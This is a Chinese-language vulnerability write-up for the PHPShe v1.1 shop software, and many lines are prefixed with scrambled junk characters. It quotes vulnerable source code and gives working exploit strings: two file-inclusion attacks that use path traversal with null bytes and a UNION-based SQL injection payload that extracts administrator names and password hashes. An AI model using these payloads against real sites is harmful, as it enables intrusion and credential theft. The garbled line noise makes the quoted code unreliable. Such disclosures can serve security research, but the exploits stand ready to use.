phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/ V+ Z( r9 k5 _+ M/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
2 J. h2 K. e" O/ k/ G& S) e/*******************************************************/
) j& E1 J0 {; q  E8 U( N0×00 整体大概参数传输


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//common.php
5 y" b( C) b3 d# y! o- Oif (get_magic_quotes_gpc()) {
7 M3 ~! r% `: M9 _( K+ |!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
" I  w: S3 Y- x4 aelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

1 P3 D6 f$ v0 P1 c$ A0 d0×01 包含漏洞
  d! Y9 ?% E5 j4 j
! v6 t5 V; \# `- |, N* I9 b
! q2 G  u2 E3 X# V: b' `//首页文件
. L8 @' H+ a& N' Y( S  P' j( w6 f, [<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
$ ?8 e$ R$ `& B8 k8 d7 c2 [' ?include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
5 R0 m& J! J2 F2 B5 R% _- j2 S9 Jurl路由配置
$module = $mod = $act = 'index';
' e& J% f' \- P0 a. A/ d, ?0 ]$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
) G4 D/ s7 z' E$ Y5 g% R$ t1 l/ J$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
4 |6 p# m1 g0 Z4 j% \4 B//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
2 h7 j" J! ]' Q

5 o7 P5 t3 K, C/ h$ I9 H 0×02 搜索注入

<code id="code2">

//product.php文件
& d5 v7 n$ x0 B( ~0 Acase 'list':
+ V- u  F$ X! k4 X- ~5 E- \  Q4 r$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
2 x4 P, [5 |( a# {//搜索
5 L- Y; O* m3 W0 U3 A- z8 ~$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
7 W( {2 F! F2 Y$ E1 g; Oif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 a! _( }" T1 p$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$ R$ b) ^! U3 ]5 U5 F' u$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
# ~: b, I/ A+ X. A  @6 u  L}
- G/ a) Q7 D2 H9 \+ Celse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
4 m, f* K; h: D9 c6 [//热卖排行
' C) m/ n2 |" l/ b$product_hotlist = product_hotlist();
//当前路径
/ P  Z; X9 a  r8 t& i, \" G4 H$nowpath = category_path($category_id);
9 X- f! ^2 l; w$seo = pe_seo($info['category_name']);
  ?6 o3 b! _6 H' |4 q/ ginclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
& i8 e* B# m# [4 s{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
. _  ~; W5 @2 i0 zreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
" d9 C! V: v0 x" f% E1 q//exp
5 E2 h; D5 O  @- e; g. @8 B" fproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

- b; T4 F6 W7 T. o7 {0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

: r0 e& C. l* W, a% B, D$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

) ?: O# p  }: y9 v# t1 M( E$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 s' e1 j1 D/ }  h- @}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

( P8 M6 n; R/ P) z) W, d8 A!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

: v8 k6 p: |3 h: Z) J& V$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

, O# O$ a6 H/ M; x2 x0 H$ s0 Kforeach ($info_list as $v) {

# ?; P. p+ E! z+ @$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

+ V8 n$ N7 r9 |else {

pe_error('支付错误...');

: I" n0 \( k6 U. N8 v# [; C9 I+ P}

}

# }, s. b( c+ a. x5 b$ f% O$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

+ H6 {+ y8 v0 _! obreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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